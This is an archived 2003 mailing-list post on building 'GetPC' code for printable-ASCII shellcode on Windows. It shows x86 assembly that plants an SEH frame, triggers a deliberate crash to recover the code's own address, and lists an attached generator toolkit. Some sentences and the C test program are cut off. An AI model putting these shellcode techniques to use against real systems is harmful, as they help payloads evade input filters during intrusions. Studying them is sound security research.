|
|||||||||||
|
Re: GetPC code (was: Shellcode from ASCII)
From: Costin Ionescu <costin.ionescu(at)fokus.fraunhofer.de>
Date: Tue Jul 01 2003 - 12:56:45 EDT I think I solved your 2nd challenge, but only under Windows. Under Linux I don't know yet.
The idea: push some code on the stack, put a SEH frame also on the stack
(the frame
Under linux I don't know anything similar to SEH in Windows. You could
set a signal handler for
Anyway *EXTRA-ELLEGANT* solution given by noir !!!!!!!!!! WOW!!!
Now the short version:
And the long version is getpc.asm (nasm-like syntax): bits 32
push esp
%include "stkcode.inc" ; push code on stack
push esp
push edi
push edi
xor edi, [fs:esi] ; edi = fs:[0] push ebp ; store orig ESP push ebx ; my SEH func push edi ; old SEH frame
xor [fs:esi], edi ; fs:[0] = 0
xor [esi], esp ; crash!
Now stkcode.inc is generated to push on the stack (using 20-7Fh bytes).
The pushed code on the stack (which has all 00-FF opcodes now because is
generated)
bits 32
mov ebx, [esp + 04h] ; ebx <- structure with exception info
mov edi, [ebx + 0Ch] ; oooo! ze Exception Address
inc edi ; ehmmm
inc edi ; skip that crashing instruction (2 bytes)
xor eax, eax
mov esp, [esp +08h] ; give back my stack!
pop dword [fs:eax] ; restore old SEH frame
pop eax ; this was the pointer to myseh
pop esp ; ahh! the clean stack
jmp edi ; go!
nop ;
nop ; make this code size multiple of 4 (so my tools work)
; of course this can be optimized
Now a quick test: #include <stdio.h>
/* Last 3 bytes are to return from this "function" with the result code
int main ()
{
Thoughts for Linux version:
I attached a rar archive with all the stuff necessary to test my idea. The files are: cc.bat <- a batch to call the C compiler (I tested with BC 5.5) cdump.c <- dumps a binary file in a C-form gen.c <- generates code only with 20-7F bytes that pushes on thestack the data in the input file getpc.asm <- main code stkcode.asm <- stack code stkcode.inc <- generated with gen.exe getpc.h <- generated with cdump.exe test.c <- ze damn test You will need nasm to compile the asm files. Greetingz, ico
This archive was generated by hypermail 2.1.8 : Wed Aug 23 2006 - 14:07:40 EDT |
||||||||||
|
|||||||||||